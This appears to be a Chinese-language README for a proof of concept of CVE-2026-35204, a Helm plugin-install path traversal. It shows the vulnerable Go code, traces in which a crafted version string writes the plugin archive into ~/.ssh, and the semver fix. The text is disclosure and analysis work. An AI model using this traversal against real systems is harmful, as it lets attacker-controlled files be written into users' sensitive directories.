此仓库代表 CVE-2026-35204 的概念验证 (PoC)。
"Helm 是 Kubernetes 的 Charts 包管理器。从 4.0.0 到 4.1.3 版本,一个特制的 Helm 插件在安装或更新时,会使得 Helm 将插件内容写入任意文件系统位置。为了防止此问题,需要验证 Helm 插件的 plugin.yaml 中 version: 字段是否包含 POSIX 点-点路径分隔符,即 "/../"。此漏洞已在 4.1.4 版本中修复。"
此 PoC 演示了 metadata.Version 被用于构造插件归档的路径,从而允许路径穿越,并将下载的 plugin.tgz 写入预期插件目录之外的位置。插件内容在安装之前仍会解压到指定的缓存目录,因此此 PoC 并不演示任意解压或任意主机文件覆盖。
Helm 插件安装器具有一个包含四种实现的接口(HTTP、本地、VCS 和 OCI)。此 PoC 聚焦于 HTTP 安装器。与 HTTP/OCI 安装器不同,VCS 安装器完全不会根据 metadata.Version 构造 tarball 路径。以下是准备 tarballPath 的代码块:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
其中 metadata.Version 是我们在 plugin.yaml 中可控的变量。要触发此漏洞,你需要将特制的插件打包成 .tgz 归档,因为其 metadata.Version 正是 plugin.ExtractTgzPluginMetadata 提取并由 HTTP/OCI/本地安装器下载的版本。因此,要实现路径穿越,我们可以使用 http_installer,它将以 Web 服务器提供的归档形式获取插件。
在下面的示例中,helm 二进制文件被手动重编译以启用日志消息,你可以观察到两个不同的数据流。第一个 是使用正确版本名称的插件安装。第二个 是版本名称中包含点-点路径分隔符的插件安装:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
运行时跟踪表明,路径穿越仅影响下载的插件归档放置的位置,即本质上受 HELM_PLUGINS 环境变量控制。缓存(i.CacheDir)和最终解压路径(i.Path())保持不变。鉴于此,我们可以操纵临时归档的目标路径及其名称,从而实现文件写入。
你无需运行任何操作或使用安装后 Webhook,简单的插件安装就足以触发该漏洞。
在分析 HTTP 安装器的过程中,我观察到归档解压发生在 i.CacheDir,而安装(fs.CopyDir)将文件从 i.CacheDir 复制到 i.Path()。我没有找到受路径穿越影响的 tarballPath 能够影响归档内容的代码路径。因此,根据分析的运行时跟踪,归档解压目标独立于受路径穿越控制的 tarballPath。
公告同时提到了安装和更新。对于 HTTP/本地/VCS 安装器,Update() 未实现;OCI 安装器通过先移除旧插件再调用 Install() 来实现更新。
以下是 HTTP 安装器中的 Update() 方法:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
为了缓解该漏洞,添加了 isValidSemver 函数,该函数在 metadata.go 中调用 Validate() 时被调用。
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
如你所见,如果版本不是有效的 semver(而 ../../../../ 不是有效的),那么在恶意 helm 插件安装过程中将会收到错误。
要运行 PoC,可以使用 scripts/pos.sh 脚本:
./scripts/poc.sh
这将产生类似如下的结果:

MIT